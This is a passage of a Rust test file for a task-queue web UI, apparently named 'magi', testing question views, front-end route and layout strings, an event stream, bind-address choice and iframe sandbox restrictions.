21293 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21294 }
21295
21296 #[test]
21297 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21298 let store = ask::Questions::at(PathBuf::from("unused"));
21299 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21300 let gt = crate::github_text::Withheld::from_check(
21301 &crate::github_text::check("fix: x", body),
21302 "fix: x",
21303 body,
21304 )
21305 .unwrap();
21306 let (detail, comparison) =
21307 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
21308 let mut q = Question::new(
21309 "r".into(),
21310 "github-text".into(),
21311 "posting-gate".into(),
21312 "s".into(),
21313 detail,
21314 Vec::new(),
21315 );
21316 q.posting_comparison = Some(comparison);
21317 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21318 let field = &value["posting_view"]["fields"][0];
21319 let group = &field["replacement_group"];
21320 let triggers = group["triggers"].as_array().unwrap();
21321 assert_eq!(triggers.len(), 2);
21322 assert_ne!(triggers[0], triggers[1]);
21323 for id in triggers {
21324 assert!(
21325 field["original"]
21326 .as_array()
21327 .unwrap()
21328 .iter()
21329 .any(|f| &f["pair"] == id)
21330 );
21331 assert!(
21332 !field["changed"]
21333 .as_array()
21334 .unwrap()
21335 .iter()
21336 .any(|f| &f["pair"] == id)
21337 );
21338 }
21339 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21340 group["id"].as_u64().unwrap() as usize;
21341 assert!(
21342 QuestionView::of(q, &store, None).posting_view.is_none(),
21343 "group and trigger IDs cannot collide"
21344 );
21345 }
21346
21347 #[test]
21348 fn a_question_view_carries_markdown_for_each_thread_turn() {
21349 let home = TempDir::new().unwrap();
21350 let store = ask::Questions::at(home.path().join("questions"));
21351 let mut q = Question::new(
21352 "run".to_owned(),
21353 "implement".to_owned(),
21354 "impl-A".to_owned(),
21355 "which?".to_owned(),
21356 String::new(),
21357 Vec::new(),
21358 );
21359 q.say("plain words").unwrap();
21360 q.reply("use **this**", Vec::new()).unwrap();
21361 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21362 let bodies = &v["thread_bodies_md"];
21363 assert_eq!(bodies.as_array().unwrap().len(), 2);
21364 assert!(!bodies[0].to_string().contains("strong"));
21365 assert!(bodies[1].to_string().contains("strong"));
21366 }
21367
21368 #[test]
21369 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21370 let home = TempDir::new().unwrap();
21371 let store = ask::Questions::at(home.path().join("questions"));
21372 let mut q = Question::new(
21373 "run".to_owned(),
21374 "conduct".to_owned(),
21375 "conduct".to_owned(),
21376 "which?".to_owned(),
21377 String::new(),
21378 Vec::new(),
21379 );
21380 q.say("plain words").unwrap();
21381 q.thread.push(ask::Turn {
21382 who: ask::Who::Agent,
21383 body: "Settled as `merge`".to_owned(),
21384 at: jiff::Timestamp::now(),
21385 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21386 });
21387 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21388 let notes = &v["thread_notes_md"];
21389 assert_eq!(notes.as_array().unwrap().len(), 2);
21390 assert!(notes[0].is_null());
21391 let text = notes[1].to_string();
21392 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21393 assert!(APP_JS.contains("ask-turn-note"));
21394 }
21395
21396 #[test]
21397 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21398 assert!(APP_JS.contains("function landView(run, raw) {"));
21402 assert!(
21403 APP_JS.contains(
21404 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21405 )
21406 );
21407 assert!(APP_JS.contains("const pr = landView(run, raw);"));
21408 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21409 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21410 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21411 }
21412
21413 #[test]
21414 fn live_runs_are_never_hidden_or_folded_as_superseded() {
21415 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
21416 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21417 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21418 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21419 }
21420
21421 #[test]
21422 fn review_rounds_label_a_distinct_verified_head() {
21423 assert!(APP_JS.contains("round.verified_head"));
21424 assert!(APP_JS.contains("verified HEAD"));
21425 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21426 }
21427
21428 #[test]
21429 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21430 assert!(APP_JS.contains("blocked: { glyph:"));
21434 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21435
21436 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21440 assert!(
21441 APP_JS.contains(
21442 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21443 ),
21444 "the note line must name what a blocked task is waiting on, not just that it is blocked"
21445 );
21446 assert!(APP_JS.contains("if (status === \"blocked\") {"));
21450
21451 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21455 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21456 assert!(
21457 APP_JS.contains("location.hash = \"#/questions\";"),
21458 "a question node must jump to the Questions screen, not pretend to be a task"
21459 );
21460
21461 assert!(APP_JS.contains("Resolved questions"));
21464 assert!(APP_JS.contains("r.answersList.append("));
21465 assert!(APP_CSS.contains(".task-answers"));
21466 {
21467 let start = APP_JS
21468 .find("function updateTalkTaskRow")
21469 .expect("updateTalkTaskRow");
21470 let body = &APP_JS[start..];
21471 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21472 assert!(
21473 body.contains(
21474 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21475 ),
21476 "a chat-filed task row must link to the task page"
21477 );
21478 assert!(
21479 !body.contains("#/runs/") && !body.contains("#/queue/"),
21480 "the row must not branch to a run or the queue card"
21481 );
21482 assert!(APP_CSS.contains(".talk-task-link"));
21483 }
21484 }
21485
21486 #[test]
21487 fn a_task_notification_links_to_the_task_page() {
21488 let start = APP_JS
21490 .find("function noticeLink(")
21491 .expect("noticeLink exists");
21492 let body = &APP_JS[start..];
21493 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21494 assert!(
21495 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21496 "a task notice's link must target the task page"
21497 );
21498 assert!(
21499 !body.contains("#/queue/"),
21500 "regression: the task link must not go back to the Backlog route"
21501 );
21502 assert!(
21503 APP_JS.contains(
21504 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21505 ),
21506 "`#/tasks/<id>` must parse into the task route"
21507 );
21508
21509 assert!(
21511 APP_JS.contains(
21512 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21513 ),
21514 "`#/queue/<id>` must parse into a route carrying that id"
21515 );
21516
21517 assert!(APP_JS.contains("state.queueFocus = route.id;"));
21521 assert!(APP_JS.contains("function consumeQueueFocus()"));
21522 assert!(APP_JS.contains("jumpToTask(id)"));
21523 }
21524
21525 #[test]
21526 fn notifications_distinguish_actionable_questions_from_informational_notices() {
21527 let start = APP_JS
21528 .find("function noticeCoveredBy(")
21529 .expect("noticeCoveredBy exists");
21530 let body = &APP_JS[start..];
21531 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21532
21533 assert!(body.contains("Associated question ${short}"));
21535 assert!(!body.contains("el(\"a\""));
21536
21537 assert!(body.contains("(resolved)"));
21539 assert!(body.contains("(closed)"));
21540
21541 let start = APP_JS
21542 .find("function renderNotifications()")
21543 .expect("renderNotifications exists");
21544 let body = &APP_JS[start..];
21545 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21546
21547 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21549 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21550 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
21551 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21552 }
21553
21554 #[test]
21557 fn chat_rows_put_the_title_alone_on_the_first_line() {
21558 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
21559 assert!(APP_CSS.contains(
21560 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21561 ));
21562 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21563 assert!(APP_JS.contains("class: \"badge talk-unread\""));
21564 }
21565
21566 #[test]
21567 fn run_rows_put_the_title_alone_on_the_first_line() {
21568 assert!(
21569 APP_CSS.contains(
21570 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
21571 )
21572 );
21573 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21574 assert!(APP_JS.contains("class: \"card run-card\""));
21575 assert!(APP_JS.contains("class: \"repo run-id\""));
21576 }
21577
21578 #[test]
21582 fn wide_screens_show_list_and_preview_side_by_side() {
21583 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21585 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21586 assert!(APP_CSS.contains("main[data-split]"));
21587 assert!(APP_CSS.contains("body[data-split]"));
21588
21589 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
21591 assert!(
21592 APP_JS.contains(
21593 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21594 )
21595 );
21596 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21597 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21598 assert!(INDEX_HTML.contains("id=\"split-empty\""));
21599
21600 assert!(APP_JS.contains("function markSelected() {"));
21602 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21603 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21604 assert!(
21606 APP_CSS.contains(
21607 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21608 )
21609 );
21610
21611 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21613 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21614 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21615 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21616
21617 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21621 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21622 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21623 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21624
21625 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21627 }
21628
21629 #[test]
21630 fn panel_sandbox_carries_exactly_popups() {
21631 let needle = "sandbox: \"";
21632 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21633 assert_eq!(
21634 matches.len(),
21635 1,
21636 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21637 );
21638 let start = matches[0].0 + needle.len();
21639 let end = APP_JS[start..]
21640 .find('"')
21641 .expect("sandbox attribute value must be terminated by a closing quote");
21642 let val = &APP_JS[start..start + end];
21643 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21644 let expected: std::collections::BTreeSet<&str> =
21645 ["allow-popups", "allow-popups-to-escape-sandbox"]
21646 .into_iter()
21647 .collect();
21648 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21649 assert!(
21650 !tokens.contains("allow-scripts"),
21651 "allow-scripts must never be present in sandbox"
21652 );
21653 assert!(
21654 !tokens.contains("allow-same-origin"),
21655 "allow-same-origin must never be present in sandbox"
21656 );
21657 }
21658
21659 #[test]
21660 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21661 assert!(
21670 APP_JS.contains(
21671 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
21672 ),
21673 "the search-clearing branch must run before state.queueFocus is cleared, or the \
21674 recursive renderQueue() call has nothing left to jump to"
21675 );
21676 assert!(
21677 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21678 "state.queueFocus must be cleared only once the jump has landed, so a card that \
21679 arrives later still gets it"
21680 );
21681 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21682 assert!(APP_JS.contains("is not in the current Backlog."));
21683 assert!(APP_JS.contains("li.card[data-task-id=\""));
21684 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21685 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21686 assert!(APP_CSS.contains(".card-permalink"));
21687 assert!(APP_CSS.contains(".queue-focus-status"));
21688 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21689 }
21690
21691 #[test]
21692 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21693 assert!(
21701 APP_JS.contains(
21702 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21703 ),
21704 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21705 );
21706 }
21707
21708 #[test]
21709 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21710 assert!(
21711 APP_JS.contains("round.verified_head !== round.head"),
21712 "a round that verified an earlier commit must be visibly distinct from one that \
21713 verified the head reviewers are looking at now"
21714 );
21715 assert!(
21716 APP_JS.contains("round.verified_at"),
21717 "when a check ran must be on the wire, not just which commit"
21718 );
21719 assert!(
21720 APP_JS.contains("resource_blocked"),
21721 "a command magi never got to run (shared build cache contention) must not render \
21722 the same as a command that ran and failed"
21723 );
21724 }
21725
21726 #[test]
21727 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21728 assert!(
21736 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
21737 "every KPI tile built through statusTile() must route its click through \
21738 openRunsFiltered, the single place that sets the Runs filter"
21739 );
21740 for (label, status) in [
21741 ("Merged", "merged"),
21742 ("Ready", "ready"),
21743 ("Blocked", "blocked"),
21744 ("Stalled", "stalled"),
21745 ] {
21746 let call = format!("statusTile(\"{label}\", t.{status}, ");
21747 assert!(
21748 APP_JS.contains(&call),
21749 "expected the {label} KPI tile built via {call}..."
21750 );
21751 assert!(
21752 APP_JS.contains(&format!("status === \"{status}\"")),
21753 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
21754 compare a run against, not one invented only for the stats tile"
21755 );
21756 }
21757 assert!(
21758 APP_JS.contains("function openRunsFiltered(status)"),
21759 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
21760 );
21761 assert!(
21762 APP_JS.contains(
21763 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
21764 ),
21765 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
21766 );
21767 assert!(
21775 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
21776 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
21777 hashchange event that may never fire"
21778 );
21779 }
21780
21781 #[test]
21782 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
21783 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
21789 assert!(
21790 APP_JS.contains(
21791 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
21792 ),
21793 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
21794 guard for an incompatible tree section"
21795 );
21796 }
21797
21798 #[test]
21799 fn every_stats_queue_tile_names_a_real_queue_section() {
21800 assert!(
21806 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21807 "every queue tile built through sectionTile() must route its click through \
21808 openQueueSectionFocus"
21809 );
21810 for key in ["upnext", "running", "done", "held", "blocked"] {
21811 assert!(
21812 APP_JS.contains(&format!("{{ key: \"{key}\",")),
21813 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21814 );
21815 }
21816 for line in [
21820 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21821 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21822 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21823 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21824 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21825 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21826 ] {
21827 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21828 }
21829 }
21830
21831 #[test]
21832 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21833 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21840 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21841 assert!(APP_JS.contains("function revealQueueSection(details)"));
21842 assert!(
21843 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
21844 "renderQueue() must consume both focus channels on every pass"
21845 );
21846 assert!(
21847 APP_JS.contains(
21848 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
21849 ),
21850 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21851 the recursive renderQueue() call has nothing left to reveal"
21852 );
21853 assert!(
21854 APP_JS.contains(
21855 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
21856 ),
21857 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21858 );
21859 assert!(
21867 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
21868 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21869 hashchange event that may never fire"
21870 );
21871 }
21872
21873 #[tokio::test]
21874 async fn the_change_stream_announces_the_current_revisions_on_connect() {
21875 let f = Fixture::start().await;
21876
21877 let mut socket = tokio::net::TcpStream::connect(f.addr)
21878 .await
21879 .expect("connect");
21880 socket
21881 .write_all(
21882 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21883 )
21884 .await
21885 .expect("write request");
21886
21887 let mut seen = String::new();
21890 let mut buf = [0u8; 1024];
21891 while !seen.contains("event: change") {
21892 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21893 .await
21894 .expect("the stream must speak within five seconds")
21895 .expect("read");
21896 assert!(read > 0, "the server closed the change stream: {seen}");
21897 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21898 }
21899
21900 assert!(
21901 seen.to_lowercase()
21902 .contains("content-type: text/event-stream"),
21903 "the browser only reconnects automatically for a real SSE stream: {seen}"
21904 );
21905 let data = seen
21906 .lines()
21907 .find_map(|l| l.strip_prefix("data:"))
21908 .expect("a data line");
21909 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21910 assert!(
21911 payload["queue_rev"].is_u64()
21912 && payload["runs_rev"].is_u64()
21913 && payload["questions_rev"].is_u64()
21914 && payload["talks_rev"].is_u64()
21915 && payload["notifications_rev"].is_u64()
21916 && payload["loop_rev"].is_u64(),
21917 "the client needs one revision per store to know what to refetch, \
21918 and `talks_rev` is the only notification a standing talk gets - a \
21919 phone whose radio slept through a turn learns about it here, as \
21920 does one whose operator started the loop from another device: \
21921 {payload}"
21922 );
21923
21924 let health = f.get("/api/health").await.json();
21931 for key in [
21932 "queue_rev",
21933 "runs_rev",
21934 "questions_rev",
21935 "talks_rev",
21936 "notifications_rev",
21937 "loop_rev",
21938 ] {
21939 assert!(
21940 health[key].is_u64(),
21941 "health is the change stream's fallback and is missing `{key}`: {health}"
21942 );
21943 }
21944 }
21945
21946 #[tokio::test]
21947 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21948 let f = Fixture::start().await;
21949 let before = f.get("/api/health").await.json()["talks_rev"]
21950 .as_u64()
21951 .expect("talks_rev");
21952
21953 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21954 std::thread::sleep(Duration::from_millis(10));
21955 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21956 on_disk.turns.push(crate::talk::Turn {
21957 sender: None,
21958 breaks: Some(Vec::new()),
21959 messages: Vec::new(),
21960 posted_by: None,
21961 who: crate::talk::Who::Operator,
21962 body: "a new turn".to_owned(),
21963 at: Timestamp::now(),
21964 attachments: Vec::new(),
21965 usage: None,
21966 });
21967 f.talks().put(&mut on_disk).expect("record a turn");
21968
21969 let after = tokio::time::timeout(Duration::from_secs(5), async {
21970 loop {
21971 let revision = f.get("/api/health").await.json()["talks_rev"]
21972 .as_u64()
21973 .unwrap();
21974 if revision != before {
21975 break revision;
21976 }
21977 tokio::time::sleep(Duration::from_millis(50)).await;
21978 }
21979 })
21980 .await
21981 .expect("shared monitor observes external turn");
21982 assert_ne!(
21983 before, after,
21984 "a phone must be able to notice a talk's reply without polling every store"
21985 );
21986 }
21987
21988 #[test]
21989 fn bind_reads_back_from_the_spelling_the_cli_prints() {
21990 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21994 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21995 }
21996 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21997 assert!("everywhere".parse::<Bind>().is_err());
21998 }
21999
22000 #[test]
22001 fn an_explicit_bind_address_is_taken_verbatim() {
22002 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
22003
22004 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
22005
22006 assert_eq!(addr, asked);
22007 assert!(
22008 warning.is_none(),
22009 "an operator who named an address gets no lecture"
22010 );
22011 }
22012
22013 #[test]
22014 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
22015 let (addr, warning) = resolve_bind(&Bind::Auto);
22016
22017 match addr {
22024 IpAddr::V4(ip) if is_tailnet(&ip) => {
22025 assert!(warning.is_none(), "a tailnet address needs no warning");
22026 }
22027 other => {
22028 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
22029 let warning = warning.expect("a fallback has to explain itself");
22030 assert!(
22031 warning.contains("127.0.0.1") && warning.contains("local-only"),
22032 "the warning says what happened and what it costs: {warning}"
22033 );
22034 }
22035 }
22036 }
22037
22038 #[test]
22039 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
22040 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
22044 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
22045 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
22046 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
22047 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
22048 }
22049
22050 #[test]
22051 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
22052 let ids = vec![
22053 "20260902-140501-aaaa".to_owned(),
22054 "20260902-140502-aabb".to_owned(),
22055 ];
22056
22057 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
22058 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
22059 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
22060
22061 assert_eq!(missing.status, StatusCode::NOT_FOUND);
22062 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
22063 assert_eq!(short, "20260902-140502-aabb");
22064 }
22065 #[tokio::test]
22066 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
22067 let fx = Fixture::start().await;
22073 let id = panel(
22074 &fx,
22075 "<img src=\"shot.png\">",
22076 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
22077 );
22078
22079 let doc = fx
22081 .get(&format!("/api/questions/{id}/panel/index.html"))
22082 .await;
22083 assert_eq!(doc.status, 200, "{}", doc.body);
22084 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
22085
22086 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
22087 assert_eq!(sibling.status, 200, "{}", sibling.body);
22088 assert_eq!(sibling.header("content-type"), Some("image/png"));
22089 assert_eq!(
22090 sibling.header("content-security-policy"),
22091 Some(PANEL_CSP),
22092 "the sibling route must carry the same policy as the asset route"
22093 );
22094
22095 assert_eq!(
22098 fx.head(&format!("/api/questions/{id}/panel")).await.status,
22099 200
22100 );
22101 }
22102
22103 #[test]
22104 fn delta_stamps_cover_add_update_remove_and_noop() {
22105 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
22106 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
22107 let delta = diff_stamps(&before, &after, 42);
22108 assert_eq!(delta.base, 42);
22109 assert_eq!(delta.changed, ["b", "c"]);
22110 assert_eq!(delta.removed, ["a"]);
22111 let same = diff_stamps(&after, &after, 43);
22112 assert!(same.changed.is_empty() && same.removed.is_empty());
22113 assert_ne!(stamps_revision(&before), stamps_revision(&after));
22114 let nanos: Stamps = [("b".into(), (2, 20))].into();
22115 let same_ms: Stamps = [("b".into(), (3, 20))].into();
22116 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
22117 assert_eq!(stamps_revision(&Stamps::new()), 0);
22118 }
22119
22120 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
22121 std::fs::create_dir_all(home.join("runs")).unwrap();
22122 Arc::new(
22123 Ui::new(
22124 Queue::at(home.join("queue")),
22125 Questions::at(home.join("questions")),
22126 Talks::at(home.join("talks")),
22127 home.join("runs"),
22128 home.to_owned(),
22129 PathBuf::from("/repo/magi"),
22130 )
22131 .with_worktrees_root(home.join("wt")),
22132 )
22133 }
22134
22135 #[test]
22136 fn monitor_scan_isolates_store_failures_and_recovers() {
22137 let home = TempDir::new().unwrap();
22138 let ui = delta_test_ui(home.path());
22139 std::fs::create_dir_all(ui.questions.root()).unwrap();
22140 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
22141 let before = monitor_scan(&ui, None);
22142 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
22143 std::fs::write(ui.questions.root(), "not a directory").unwrap();
22144 std::fs::create_dir_all(ui.talks.root()).unwrap();
22145 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22146 let during = monitor_scan(&ui, Some(before.clone()));
22147 assert_eq!(during.0.2, before.0.2);
22148 assert_ne!(during.0.3, before.0.3);
22149 assert!(during.1[2].contains_key("new"));
22150 std::fs::remove_file(ui.questions.root()).unwrap();
22151 let after = monitor_scan(&ui, Some(during));
22152 assert_eq!(after.0.2, 0);
22153 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22154 std::fs::write(ui.questions.root(), "not a directory").unwrap();
22156 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22157 }
22158
22159 #[tokio::test]
22160 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22161 let home = TempDir::new().unwrap();
22162 let ui = delta_test_ui(home.path());
22163 let mut task = Task::new(
22164 "stream task".into(),
22165 "text".into(),
22166 PathBuf::from("/repo"),
22167 Source::Human,
22168 );
22169 ui.queue.put(&mut task).unwrap();
22170 let response = events(State(ui.clone())).await.into_response();
22171 let mut stream = response.into_body().into_data_stream();
22172 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22173 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22174 .await
22175 .unwrap()
22176 .unwrap()
22177 .unwrap();
22178 let text = String::from_utf8(chunk.to_vec()).unwrap();
22179 let data = text
22180 .lines()
22181 .find_map(|line| {
22182 line.strip_prefix("data: ")
22183 .or_else(|| line.strip_prefix("data:"))
22184 })
22185 .unwrap();
22186 serde_json::from_str(data).unwrap()
22187 }
22188 let initial = change(&mut stream).await;
22189 assert!(initial.get("queue_delta").is_none());
22190 task.instruction.push_str(" changed");
22191 ui.queue.put(&mut task).unwrap();
22192 let updated = change(&mut stream).await;
22193 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22194 assert_eq!(
22195 updated["queue_delta"]["changed"],
22196 serde_json::json!([task.id])
22197 );
22198 assert_eq!(
22199 updated["queue_rev"].as_u64(),
22200 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22201 );
22202 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22203 let removed = change(&mut stream).await;
22204 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22205 assert_eq!(
22206 removed["queue_delta"]["removed"],
22207 serde_json::json!([task.id])
22208 );
22209 }
22210
22211 #[tokio::test]
22212 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22213 let home = TempDir::new().unwrap();
22214 let ui = delta_test_ui(home.path());
22215 let queue = ui.queue.clone();
22216 let query = |ids: Option<&str>| {
22217 Query(ListQuery {
22218 limit: Some(2),
22219 ids: ids.map(str::to_owned),
22220 })
22221 };
22222 let mut root = Task::new(
22223 "root".into(),
22224 "instruction".into(),
22225 PathBuf::from("/repo"),
22226 Source::Human,
22227 );
22228 queue.put(&mut root).unwrap();
22229 let mut blocked = Task::new(
22230 "blocked".into(),
22231 "instruction".into(),
